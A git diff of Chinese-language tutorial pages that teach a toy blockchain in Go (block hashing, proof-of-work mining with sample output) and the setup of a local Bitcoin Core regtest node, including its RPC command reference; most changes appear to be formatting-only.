    -        fmt.Printf("PreHash : %x\n", block.PreHash)
    -        fmt.Printf("Hash : %x\n", block.Hash)
    -        fmt.Printf("Data : %s\n", block.Data)
    +    bc.AddBlock("班长向老师转了1枚比特币!")
    +    bc.AddBlock("班长又向老师转了1枚比特币!")
    +
    +    for i, block := range bc.Blocks {
    +        fmt.Println("======== block height : ", i, "=======")
    +        fmt.Printf("PreHash : %x\n", block.PreHash)
    +        fmt.Printf("Hash : %x\n", block.Hash)
    +        fmt.Printf("Data : %s\n", block.Data)
         }
     }
     

    06_补充Block字段(完整)

    -
    type Block struct {
    -    //版本号
    -    Version uint64
    +
    type Block struct {
    +    //版本号
    +    Version uint64
     
    -    //前区块哈希值
    -    PreHash []byte
    +    //前区块哈希值
    +    PreHash []byte
     
    -    //梅克尔根(就是一个哈希值,v4版本介绍)
    -    MerKleRoot []byte
    +    //梅克尔根(就是一个哈希值,v4版本介绍)
    +    MerKleRoot []byte
     
    -    //时间戳
    -    TimeStamp uint64
    +    //时间戳
    +    TimeStamp uint64
     
    -    //难度值(调整比特币挖矿的难度)
    -    Difficulty uint64
    +    //难度值(调整比特币挖矿的难度)
    +    Difficulty uint64
     
    -    //随机数,这就是挖矿时所要寻找的数
    -    Nonce uint64
    +    //随机数,这就是挖矿时所要寻找的数
    +    Nonce uint64
     
    -    //当前区块哈希值(为了方便实现,所以将区块的哈希值放到了区块中)
    -    Hash []byte
    +    //当前区块哈希值(为了方便实现,所以将区块的哈希值放到了区块中)
    +    Hash []byte
     
    -    //区块数据
    -    Data []byte
    +    //区块数据
    +    Data []byte
     }
     

    改写NewBlock

    -
    func NewBlock(data string, prevBlockHash []byte) *Block {
    +
    func NewBlock(data string, prevBlockHash []byte) *Block {
         block := Block{
    -        Version:    00,
    +        Version:    00,
             PreHash:    prevBlockHash,
    -        MerKleRoot: []byte{}, //先填为空,v4版本再详解
    -        TimeStamp:  uint64(time.Now().Unix()),
    -        Difficulty: 100,
    -        Nonce:      100,
    -        //Hash:    []byte{}, //先填为空,后面再进行计算
    -        Data: []byte(data)}
    -
    -    //提供一个设置哈希的方法
    +        MerKleRoot: []byte{}, //先填为空,v4版本再详解
    +        TimeStamp:  uint64(time.Now().Unix()),
    +        Difficulty: 100,
    +        Nonce:      100,
    +        //Hash:    []byte{}, //先填为空,后面再进行计算
    +        Data: []byte(data)}
    +
    +    //提供一个设置哈希的方法
         block.SetHash()
    -    return &block
    +    return &block
     }
     

    07_根据完整Block重写SetHash

    -
    func (block *Block) SetHash() {
    -    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    -    //1. 拼接当前区块的数据
    -    blockByteInfo = append(blockByteInfo, block.PreHash...)
    -    blockByteInfo = append(blockByteInfo, block.Data...)
    -    blockByteInfo = append(blockByteInfo, block.MerKleRoot...)
    -    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Version)...)
    -    blockByteInfo = append(blockByteInfo, uint64ToByte(block.TimeStamp)...)
    -    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Difficulty)...)
    -    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Nonce)...)
    -
    -    //2. 对数据进行哈希处理:sha256
    -    //func Sum(data []byte) [Size]byte {
    -    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
    -
    -    //3. 把哈希添加到我们区块Hash字段
    +
    func (block *Block) SetHash() {
    +    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    +    //1. 拼接当前区块的数据
    +    blockByteInfo = append(blockByteInfo, block.PreHash...)
    +    blockByteInfo = append(blockByteInfo, block.Data...)
    +    blockByteInfo = append(blockByteInfo, block.MerKleRoot...)
    +    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Version)...)
    +    blockByteInfo = append(blockByteInfo, uint64ToByte(block.TimeStamp)...)
    +    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Difficulty)...)
    +    blockByteInfo = append(blockByteInfo, uint64ToByte(block.Nonce)...)
    +
    +    //2. 对数据进行哈希处理:sha256
    +    //func Sum(data []byte) [Size]byte {
    +    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
    +
    +    //3. 把哈希添加到我们区块Hash字段
         block.Hash = hash[:]
     }
     

    - 辅助函数

    -
    func uint64ToByte(num uint64) []byte {
    -    //func Write(w io.Writer, order ByteOrder, data interface{}) error {
    -    var buffer bytes.Buffer
    -    //将数据以二进制形式保存到buffer中
    -    err := binary.Write(&buffer, binary.BigEndian/*大端对齐vs小端对齐*/, num)
    -    if err != nil {
    +
    func uint64ToByte(num uint64) []byte {
    +    //func Write(w io.Writer, order ByteOrder, data interface{}) error {
    +    var buffer bytes.Buffer
    +    //将数据以二进制形式保存到buffer中
    +    err := binary.Write(&buffer, binary.BigEndian/*大端对齐vs小端对齐*/, num)
    +    if err != nil {
             log.Panic(err)
         }
     
    -    return buffer.Bytes()
    +    return buffer.Bytes()
     }
     

    - binary序列化

    @@ -3409,68 +3405,68 @@

    - 小结

    - demo验证

    package main
     
    -import (
    -   "fmt"
    -   "unsafe" //go语言的sizeof
    +import (
    +   "fmt"
    +   "unsafe" //go语言的sizeof
     )
     
    -func main() {
    -   s := int16(0x1234)
    -   b := int8(s)
    -    //0x1234
    -    // 低 --------》 高
    -    // 12 34  -> 大端 -> 高尾端
    -    // 34 12  -> 小端 -> 低尾端
    -
    -   fmt.Println("int16字节大小为", unsafe.Sizeof(s)) //结果为2
    -   if 0x34 == b {
    -      fmt.Println("little endian")
    -   } else {
    -      fmt.Println("big endian")
    +func main() {
    +   s := int16(0x1234)
    +   b := int8(s)
    +    //0x1234
    +    // 低 --------》 高
    +    // 12 34  -> 大端 -> 高尾端
    +    // 34 12  -> 小端 -> 低尾端
    +
    +   fmt.Println("int16字节大小为", unsafe.Sizeof(s)) //结果为2
    +   if 0x34 == b {
    +      fmt.Println("little endian")
    +   } else {
    +      fmt.Println("big endian")
        }
     }
     

    09_使用bytes.Join改写SetHash函数

    demo/stringJoin.go

    -
    package main
    +
    package main
     
    -import (
    -    "strings"
    -    "fmt"
    +import (
    +    "strings"
    +    "fmt"
     )
     
    -func main()  {
    -    strArray := []string{"hello", "world", "itcast"}
    -    result := strings.Join(strArray, "+")
    -    fmt.Printf("result :%s\n", result)
    -    result = strings.Join(strArray, "")
    -    fmt.Printf("result :%s\n", result)
    +func main()  {
    +    strArray := []string{"hello", "world", "itcast"}
    +    result := strings.Join(strArray, "+")
    +    fmt.Printf("result :%s\n", result)
    +    result = strings.Join(strArray, "")
    +    fmt.Printf("result :%s\n", result)
     }
     

    demo/bytesJoin.go

    -
    package main
    +
    package main
     
    -import (
    -    "bytes"
    -    "fmt"
    +import (
    +    "bytes"
    +    "fmt"
     )
     
    -func main()  {
    -    //func Join(s [][]byte, sep []byte) []byte {
    -    byteArray := [][]byte{
    -        []byte("Hello"),
    -        []byte("World"),
    -        []byte("Itcast")}
    +func main()  {
    +    //func Join(s [][]byte, sep []byte) []byte {
    +    byteArray := [][]byte{
    +        []byte("Hello"),
    +        []byte("World"),
    +        []byte("Itcast")}
     
    -    result := bytes.Join(byteArray, []byte(""))
    -    fmt.Printf("result : %s\n", string(result))
    +    result := bytes.Join(byteArray, []byte(""))
    +    fmt.Printf("result : %s\n", string(result))
     }
     

    改写SetHash

    -
    func (block *Block) SetHash() {
    -    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    -    //1. 拼接当前区块的数据
    -    /*
    +
    func (block *Block) SetHash() {
    +    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    +    //1. 拼接当前区块的数据
    +    /*
         blockByteInfo = append(blockByteInfo, block.PreHash...)
         blockByteInfo = append(blockByteInfo, block.Data...)
         blockByteInfo = append(blockByteInfo, block.MerKleRoot...)
    @@ -3478,9 +3474,9 @@ 

    09_使用bytes.Join改写SetHash blockByteInfo = append(blockByteInfo, uint64ToByte(block.TimeStamp)...) blockByteInfo = append(blockByteInfo, uint64ToByte(block.Difficulty)...) blockByteInfo = append(blockByteInfo, uint64ToByte(block.Nonce)...) - */ + */ - tmp := [][]byte{ + tmp := [][]byte{ block.PreHash, block.Data, block.MerKleRoot, @@ -3489,7 +3485,7 @@

    09_使用bytes.Join改写SetHash uint64ToByte(block.Difficulty), uint64ToByte(block.Nonce)} - blockByteInfo = bytes.Join(tmp, []byte("")) + blockByteInfo = bytes.Join(tmp, []byte("")) ... }

    @@ -3520,7 +3516,7 @@

    09_使用bytes.Join改写SetHash @@ -3606,14 +3602,6 @@

    09_使用bytes.Join改写SetHash - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-07-Bitcoin\345\256\242\346\210\267\347\253\257.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-07-Bitcoin\345\256\242\346\210\267\347\253\257.html" index 9cedef31..6f866505 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-07-Bitcoin\345\256\242\346\210\267\347\253\257.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-07-Bitcoin\345\256\242\346\210\267\347\253\257.html" @@ -36,10 +36,6 @@ - - - - @@ -3045,9 +3041,9 @@

    二、使用

    1. 图形化客户端默认安装目录

    Windows XP - C:\Documents and Settings\{username}\Application Data\Bitcoin\wallet.dat
     %appdata%
    -Windows 7/8 - C:\Users\{username}\AppData\Roaming\Bitcoin\wallet.dat
    -Mac OS X ~/Library/Application Support/Bitcoin/wallet.dat
    -Linux ~/.bitcoin/wallet.dat
    +Windows 7/8 - C:\Users\{username}\AppData\Roaming\Bitcoin\wallet.dat
    +Mac OS X ~/Library/Application Support/Bitcoin/wallet.dat
    +Linux ~/.bitcoin/wallet.dat
     

    2. 创建配置文件

      @@ -3064,14 +3060,14 @@

      4. bitcoind

      这个程序寻找默认目录,如果目录不存在会自动创建,简单粗暴。

      5. 修改配置文件

      这个配置文件不能用//来注释汉字。

      -
      regtest=1  //这个如果不写,就是真实网路,testnet=1是测试网络testnet3,regtest=1是私有网络
      -rpcbind=127.0.0.1
      -rpcallowip=127.0.0.1
      +
      regtest=1  //这个如果不写,就是真实网路,testnet=1是测试网络testnet3,regtest=1是私有网络
      +rpcbind=127.0.0.1
      +rpcallowip=127.0.0.1
       rpcuser=test
       rpcpassword=test
      -server=1
      -//daemon=1  //后台
      -//txindex=1
      +server=1
      +//daemon=1  //后台
      +//txindex=1
       

      6. 启动服务

      可以使用bitcoind来启动,也可以使用图形化客户端启动,两者都会读取配置文件指示来运行

      @@ -3146,129 +3142,129 @@

      1. 常用命令

      2. 所有命令

      == Blockchain ==
      -getbestblockhash        //最后一个区块的哈希
      -getblock "blockhash" ( verbosity ) 
      +getbestblockhash        //最后一个区块的哈希
      +getblock "blockhash" ( verbosity ) 
       getblockchaininfo
       getblockcount
       getblockhash height
      -getblockheader "hash" ( verbose )
      +getblockheader "hash" ( verbose )
       getchaintips
      -getchaintxstats ( nblocks blockhash ) //统计区块数量,交易数量
      +getchaintxstats ( nblocks blockhash ) //统计区块数量,交易数量
       getdifficulty
      -getmempoolancestors txid (verbose)  //必须是在内存中的交易才有效
      -getmempooldescendants txid (verbose) //TODO
      -getmempoolentry txid    //TODO
      -getmempoolinfo    //当前内存中的交易数据,可读,别和getmemoryinfo混淆了
      -getrawmempool ( verbose )  //返回交易id
      -gettxout "txid" n ( include_mempool )  //引用交易id内的第n个output
      -gettxoutproof ["txid",...] ( blockhash ) //TODO
      -gettxoutsetinfo //统计utxo
      -preciousblock "blockhash" //TODO
      -pruneblockchain //TODO,必须在prune mode才能删除旧区块
      -savemempool //将内存交易保存到磁盘中,当前内存中有2笔交易,为何返回null TODO
      -verifychain ( checklevel nblocks ) //返回true
      -verifytxoutproof "proof" //TODO
      +getmempoolancestors txid (verbose)  //必须是在内存中的交易才有效
      +getmempooldescendants txid (verbose) //TODO
      +getmempoolentry txid    //TODO
      +getmempoolinfo    //当前内存中的交易数据,可读,别和getmemoryinfo混淆了
      +getrawmempool ( verbose )  //返回交易id
      +gettxout "txid" n ( include_mempool )  //引用交易id内的第n个output
      +gettxoutproof ["txid",...] ( blockhash ) //TODO
      +gettxoutsetinfo //统计utxo
      +preciousblock "blockhash" //TODO
      +pruneblockchain //TODO,必须在prune mode才能删除旧区块
      +savemempool //将内存交易保存到磁盘中,当前内存中有2笔交易,为何返回null TODO
      +verifychain ( checklevel nblocks ) //返回true
      +verifytxoutproof "proof" //TODO
       
       == Control ==
      -getmemoryinfo ("mode") //TODO
      -help ( "command" )
      -logging (   ) //会返回一个值全0的json,不知道如何产生数据
      -stop //直接退出当前BitCoin Core,手残
      -uptime //当前客户端启动多久了
      +getmemoryinfo ("mode") //TODO
      +help ( "command" )
      +logging ( <include> <exclude> ) //会返回一个值全0的json,不知道如何产生数据
      +stop //直接退出当前BitCoin Core,手残
      +uptime //当前客户端启动多久了
       
       == Generating ==
      -generate nblocks ( maxtries ) //手动执行挖矿,每个块奖励50BTC,由默认账户挖矿
      -generatetoaddress nblocks address (maxtries) //指定挖矿人
      +generate nblocks ( maxtries ) //手动执行挖矿,每个块奖励50BTC,由默认账户挖矿
      +generatetoaddress nblocks address (maxtries) //指定挖矿人
       
       == Mining ==
      -getblocktemplate ( TemplateRequest ) //TODO,得联网??
      +getblocktemplate ( TemplateRequest ) //TODO,得联网??
       getmininginfo
      -getnetworkhashps ( nblocks height )   //算力??8.913976854892111e-07
      -prioritisetransaction   
      -submitblock "hexdata"  ( "dummy" ) //TODO
      +getnetworkhashps ( nblocks height )   //算力??8.913976854892111e-07
      +prioritisetransaction <txid> <dummy value> <fee delta>
      +submitblock "hexdata"  ( "dummy" ) //TODO
       
       == Network ==
      -addnode "node" "add|remove|onetry"
      +addnode "node" "add|remove|onetry"
       clearbanned
      -disconnectnode "[address]" [nodeid]
      -getaddednodeinfo ( "node" )
      +disconnectnode "[address]" [nodeid]
      +getaddednodeinfo ( "node" )
       getconnectioncount
       getnettotals
       getnetworkinfo
       getpeerinfo
       listbanned
       ping
      -setban "subnet" "add|remove" (bantime) (absolute)
      -setnetworkactive true|false
      -
      -== Rawtransactions ==  //TODO
      -combinerawtransaction ["hexstring",...]
      -createrawtransaction [{"txid":"id","vout":n},...] {"address":amount,"data":"hex",...} ( locktime ) ( replaceable )
      -decoderawtransaction "hexstring" ( iswitness )
      -decodescript "hexstring"
      -fundrawtransaction "hexstring" ( options iswitness )
      -getrawtransaction "txid" ( verbose "blockhash" )
      -sendrawtransaction "hexstring" ( allowhighfees )
      -signrawtransaction "hexstring" ( [{"txid":"id","vout":n,"scriptPubKey":"hex","redeemScript":"hex"},...] ["privatekey1",...] sighashtype )
      +setban "subnet" "add|remove" (bantime) (absolute)
      +setnetworkactive true|false
      +
      +== Rawtransactions ==  //TODO
      +combinerawtransaction ["hexstring",...]
      +createrawtransaction [{"txid":"id","vout":n},...] {"address":amount,"data":"hex",...} ( locktime ) ( replaceable )
      +decoderawtransaction "hexstring" ( iswitness )
      +decodescript "hexstring"
      +fundrawtransaction "hexstring" ( options iswitness )
      +getrawtransaction "txid" ( verbose "blockhash" )
      +sendrawtransaction "hexstring" ( allowhighfees )
      +signrawtransaction "hexstring" ( [{"txid":"id","vout":n,"scriptPubKey":"hex","redeemScript":"hex"},...] ["privatekey1",...] sighashtype )
       
       == Util ==
      -createmultisig nrequired ["key",...]
      +createmultisig nrequired ["key",...]
       estimatefee nblocks
      -estimatesmartfee conf_target ("estimate_mode")
      -signmessagewithprivkey "privkey" "message"
      -validateaddress "address"
      -verifymessage "address" "signature" "message"
      +estimatesmartfee conf_target ("estimate_mode")
      +signmessagewithprivkey "privkey" "message"
      +validateaddress "address"
      +verifymessage "address" "signature" "message"
       
       == Wallet ==
      -abandontransaction "txid"
      +abandontransaction "txid"
       abortrescan
      -addmultisigaddress nrequired ["key",...] ( "account" "address_type" )
      -backupwallet "destination"
      -bumpfee "txid" ( options ) 
      -dumpprivkey "address"
      -dumpwallet "filename"
      -encryptwallet "passphrase"
      -getaccount "address"  //user1
      -getaccountaddress "account"
      -getaddressesbyaccount "account"
      -getbalance ( "account" minconf include_watchonly )
      -getnewaddress ( "account" "address_type" )
      -getrawchangeaddress ( "address_type" )
      -getreceivedbyaccount "account" ( minconf )
      -getreceivedbyaddress "address" ( minconf )
      -gettransaction "txid" ( include_watchonly )
      +addmultisigaddress nrequired ["key",...] ( "account" "address_type" )
      +backupwallet "destination"
      +bumpfee "txid" ( options ) 
      +dumpprivkey "address"
      +dumpwallet "filename"
      +encryptwallet "passphrase"
      +getaccount "address"  //user1
      +getaccountaddress "account"
      +getaddressesbyaccount "account"
      +getbalance ( "account" minconf include_watchonly )
      +getnewaddress ( "account" "address_type" )
      +getrawchangeaddress ( "address_type" )
      +getreceivedbyaccount "account" ( minconf )
      +getreceivedbyaddress "address" ( minconf )
      +gettransaction "txid" ( include_watchonly )
       getunconfirmedbalance
       getwalletinfo
      -importaddress "address" ( "label" rescan p2sh )
      -importmulti "requests" ( "options" )
      -importprivkey "privkey" ( "label" ) ( rescan )
      +importaddress "address" ( "label" rescan p2sh )
      +importmulti "requests" ( "options" )
      +importprivkey "privkey" ( "label" ) ( rescan )
       importprunedfunds
      -importpubkey "pubkey" ( "label" rescan )
      -importwallet "filename"
      +importpubkey "pubkey" ( "label" rescan )
      +importwallet "filename"
       keypoolrefill ( newsize )
       listaccounts ( minconf include_watchonly)
       listaddressgroupings
       listlockunspent
       listreceivedbyaccount ( minconf include_empty include_watchonly)
       listreceivedbyaddress ( minconf include_empty include_watchonly)
      -listsinceblock ( "blockhash" target_confirmations include_watchonly include_removed )
      -listtransactions ( "account" count skip include_watchonly)
      -listunspent ( minconf maxconf  ["addresses",...] [include_unsafe] [query_options])
      +listsinceblock ( "blockhash" target_confirmations include_watchonly include_removed )
      +listtransactions ( "account" count skip include_watchonly)
      +listunspent ( minconf maxconf  ["addresses",...] [include_unsafe] [query_options])
       listwallets
      -lockunspent unlock ([{"txid":"txid","vout":n},...])
      -move "fromaccount" "toaccount" amount ( minconf "comment" )
      -removeprunedfunds "txid"
      -rescanblockchain ("start_height") ("stop_height")
      -sendfrom "fromaccount" "toaddress" amount ( minconf "comment" "comment_to" )
      -sendmany "fromaccount" {"address":amount,...} ( minconf "comment" ["address",...] replaceable conf_target "estimate_mode")
      -sendtoaddress "address" amount ( "comment" "comment_to" subtractfeefromamount replaceable conf_target "estimate_mode")
      -setaccount "address" "account"
      +lockunspent unlock ([{"txid":"txid","vout":n},...])
      +move "fromaccount" "toaccount" amount ( minconf "comment" )
      +removeprunedfunds "txid"
      +rescanblockchain ("start_height") ("stop_height")
      +sendfrom "fromaccount" "toaddress" amount ( minconf "comment" "comment_to" )
      +sendmany "fromaccount" {"address":amount,...} ( minconf "comment" ["address",...] replaceable conf_target "estimate_mode")
      +sendtoaddress "address" amount ( "comment" "comment_to" subtractfeefromamount replaceable conf_target "estimate_mode")
      +setaccount "address" "account"
       settxfee amount
      -signmessage "address" "message"
      +signmessage "address" "message"
       walletlock
      -walletpassphrase "passphrase" timeout
      -walletpassphrasechange "oldpassphrase" "newpassphrase"
      -
      +walletpassphrase "passphrase" timeout +walletpassphrasechange "oldpassphrase" "newpassphrase" +

      四. 参考链接

      1. 最初参考
      2. @@ -3302,7 +3298,7 @@

        四. 参考链接

        @@ -3388,14 +3384,6 @@

        四. 参考链接

        - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-01-v2\346\214\226\347\237\277.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-01-v2\346\214\226\347\237\277.html" index 89cb03ec..711fabb0 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-01-v2\346\214\226\347\237\277.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day2-01-v2\346\214\226\347\237\277.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,113 +3042,113 @@

        1. POW详细流程

        image-20221108132337319

        2. 定义工作量证明结构

        创建proofOfWork.go文件,添加如下代码:

        -
        //- 定一个工作量证明的结构ProofOfWork
        -//- block
        -//- 目标值
        +
        //- 定一个工作量证明的结构ProofOfWork
        +//- block
        +//- 目标值
         
        -type ProofOfWork struct {
        +type ProofOfWork struct {
         
        -    //区块数据
        +    //区块数据
             block Block
         
        -    //目标值,先写成固定的值,后面再进行推到演算。
        +    //目标值,先写成固定的值,后面再进行推到演算。
             target big.Int
         }
         

        3. 添加创建POW的函数

        -
        //- 提供一个创建POW的方法
        -//NewProofOfWork(参数)
        +
        //- 提供一个创建POW的方法
        +//NewProofOfWork(参数)
         
        -func NewProofOfWork(block Block)  *ProofOfWork{
        +func NewProofOfWork(block Block)  *ProofOfWork{
             pow := ProofOfWork{
                 block:block,
             }
         
        -    //自定义的难度值,先写成固定值
        -    //0000100000000000000000000000000000000000000000000000000000000000
        -    targetString := "0000100000000000000000000000000000000000000000000000000000000000"
        +    //自定义的难度值,先写成固定值
        +    //0000100000000000000000000000000000000000000000000000000000000000
        +    targetString := "0000100000000000000000000000000000000000000000000000000000000000"
         
        -    //不要连着写
        +    //不要连着写
             bigIntTmp := big.Int{}
        -    //bigIntTmp.SetBytes([]byte(targetString))
        -    bigIntTmp.SetString(targetString, 16)
        +    //bigIntTmp.SetBytes([]byte(targetString))
        +    bigIntTmp.SetString(targetString, 16)
         
             pow.target = bigIntTmp
         
        -    return &pow
        +    return &pow
         }
         

        4.添加挖矿的函数

        -
        //- 提供一个计算哈希值的方法
        -//Run()
        -func (pow *ProofOfWork)Run() ([]byte, uint64) {
        -
        -    //var data = "helloworld"
        -    ////10s中左右
        -    //for i := 0; i < 1000000; i++ {
        -    //    hash := sha256.Sum256([]byte(data + string(i)))
        -    //    fmt.Printf("hash : %x, %d\n", string(hash[:]), i)
        -    //}
        -    var Nonce uint64
        -    var hash [32]byte
        -
        -    fmt.Printf("target : %x\n", pow.target)
        -    for ;; {
        -        //[Size]byte
        +
        //- 提供一个计算哈希值的方法
        +//Run()
        +func (pow *ProofOfWork)Run() ([]byte, uint64) {
        +
        +    //var data = "helloworld"
        +    ////10s中左右
        +    //for i := 0; i < 1000000; i++ {
        +    //    hash := sha256.Sum256([]byte(data + string(i)))
        +    //    fmt.Printf("hash : %x, %d\n", string(hash[:]), i)
        +    //}
        +    var Nonce uint64
        +    var hash [32]byte
        +
        +    fmt.Printf("target : %x\n", pow.target)
        +    for ;; {
        +        //[Size]byte
                 hash = sha256.Sum256(pow.prepareData(Nonce))
         
        -        //比较:当前的哈希值[32]byte,目标值:big.Int
        +        //比较:当前的哈希值[32]byte,目标值:big.Int
         
        -        //目标是:把当前的哈希值转换成big.Int
        +        //目标是:把当前的哈希值转换成big.Int
                 tTmp := big.Int{}
                 tTmp.SetBytes(hash[:])
         
        -        // Cmp compares x and y and returns:
        -        //
        -        //   -1 if x <  y
        -        //    0 if x == y
        -        //   +1 if x >  y
        -        //
        -        //func (x *Int) Cmp(y *Int) (r int) {
        -        //当前哈希.Cmp(目标值) == -1,说明当前的哈希小于目标值
        -        if tTmp.Cmp(&pow.target)  == -1 {
        -
        -        //if tTmp < pow.target {
        -            //找到了,退出
        -            fmt.Printf("found hash : %x, %d\n", hash, Nonce)
        -            break
        -        } else {
        -            //继续循环
        +        // Cmp compares x and y and returns:
        +        //
        +        //   -1 if x <  y
        +        //    0 if x == y
        +        //   +1 if x >  y
        +        //
        +        //func (x *Int) Cmp(y *Int) (r int) {
        +        //当前哈希.Cmp(目标值) == -1,说明当前的哈希小于目标值
        +        if tTmp.Cmp(&pow.target)  == -1 {
        +
        +        //if tTmp < pow.target {
        +            //找到了,退出
        +            fmt.Printf("found hash : %x, %d\n", hash, Nonce)
        +            break
        +        } else {
        +            //继续循环
                     Nonce++
                 }
             }
         
        -    return hash[:], Nonce
        +    return hash[:], Nonce
         }
         

        5.实现辅助函数prepareData

        这个函数类似于v1中的setHash函数的功能,代码如下:

        -
        func (pow *ProofOfWork) prepareData(num uint64) []byte {
        +
        func (pow *ProofOfWork) prepareData(num uint64) []byte {
             block := pow.block
        -    tmp := [][]byte{
        +    tmp := [][]byte{
                 uintToByte(block.Version),
                 block.PrevBlockHash,
        -        //block.Hash,
        +        //block.Hash,
                 block.MerkleRoot,
                 uintToByte(block.TimeStamp),
                 uintToByte(block.Difficuty),
                 uintToByte(num),
                 block.Data}
         
        -    data := bytes.Join(tmp, []byte{})
        -    return data
        +    data := bytes.Join(tmp, []byte{})
        +    return data
         }
         

        二、调用POW

        pow在block.go文件中使用,即创建完区块之后引入pow。将setHash()注释掉,使用ProofOfWork替换之。

        代码如下:

        -
            //block.setHash()
        +
            //block.setHash()
             pow := NewProofOfWork(block)
             hash, nonce := pow.Run()
             block.Hash = hash
        @@ -3163,29 +3159,29 @@ 

        二、调用POW

        三、第一次测试

        1. main函数

        主函数基于v1版本,无需修改:

        -
        package main
        +
        package main
         
        -import (
        -    "fmt"
        +import (
        +    "fmt"
         )
         
        -func main() {
        +func main() {
         
             bc := NewBlockChain()
        -    bc.AddBlock("HelloWorld!")
        -    bc.AddBlock("Hello Itcast!")
        -    bc.AddBlock("Hello i11111!")
        -    //block的数组
        -    for index, block := range bc.blocks {
        -        fmt.Println(" ============== current block index :", index)
        -        fmt.Printf("Version : %d\n", block.Version)
        -        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
        -        fmt.Printf("Hash : %x\n", block.Hash)
        -        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
        -        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
        -        fmt.Printf("Difficuty : %d\n", block.Difficuty)
        -        fmt.Printf("Nonce : %d\n", block.Nonce)
        -        fmt.Printf("Data : %s\n", block.Data)
        +    bc.AddBlock("HelloWorld!")
        +    bc.AddBlock("Hello Itcast!")
        +    bc.AddBlock("Hello i11111!")
        +    //block的数组
        +    for index, block := range bc.blocks {
        +        fmt.Println(" ============== current block index :", index)
        +        fmt.Printf("Version : %d\n", block.Version)
        +        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
        +        fmt.Printf("Hash : %x\n", block.Hash)
        +        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
        +        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
        +        fmt.Printf("Difficuty : %d\n", block.Difficuty)
        +        fmt.Printf("Nonce : %d\n", block.Nonce)
        +        fmt.Printf("Data : %s\n", block.Data)
             }
         }
         
        @@ -3195,48 +3191,48 @@

        2. 编译执行

        3.执行结果

        duke ~/Desktop/code/v2$  ./block 
         target : f00000000000000000000000000000000000000000000000000000000000
        -found hash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49, 77832
        +found hash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49, 77832
         target : f00000000000000000000000000000000000000000000000000000000000
        -found hash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec, 77018
        +found hash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec, 77018
         target : f00000000000000000000000000000000000000000000000000000000000
        -found hash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563, 80369
        +found hash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563, 80369
         target : f00000000000000000000000000000000000000000000000000000000000
        -found hash : 00005acbe17bfbd374fbabe94ba6b64ba8cdfdedf828f02b21f14a4517dcffc3, 64729
        - ============== current block index : 0
        -Version : 0
        +found hash : 00005acbe17bfbd374fbabe94ba6b64ba8cdfdedf828f02b21f14a4517dcffc3, 64729
        + ============== current block index : 0
        +Version : 0
         PrevBlockHash : 
        -Hash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49
        +Hash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49
         MerkleRoot : 
        -TimeStamp : 1536370652
        -Difficuty : 10
        -Nonce : 77832
        +TimeStamp : 1536370652
        +Difficuty : 10
        +Nonce : 77832
         Data : Genesis Block!
        - ============== current block index : 1
        -Version : 0
        -PrevBlockHash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49
        -Hash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec
        + ============== current block index : 1
        +Version : 0
        +PrevBlockHash : 00001867d3549489218f6bd148c381da6396a398fae823d1b6b2eacd4fb5bb49
        +Hash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec
         MerkleRoot : 
        -TimeStamp : 1536370652
        -Difficuty : 10
        -Nonce : 77018
        +TimeStamp : 1536370652
        +Difficuty : 10
        +Nonce : 77018
         Data : HelloWorld!
        - ============== current block index : 2
        -Version : 0
        -PrevBlockHash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec
        -Hash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563
        + ============== current block index : 2
        +Version : 0
        +PrevBlockHash : 00000f3a678ab02b58b9428e7eb3fd0e6cb374770b4192c640e2f4964f8120ec
        +Hash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563
         MerkleRoot : 
        -TimeStamp : 1536370652
        -Difficuty : 10
        -Nonce : 80369
        +TimeStamp : 1536370652
        +Difficuty : 10
        +Nonce : 80369
         Data : Hello Itcast!
        - ============== current block index : 3
        -Version : 0
        -PrevBlockHash : 00000de185dc87751aa8c78638491e14548ff505473af89eb4954324b5539563
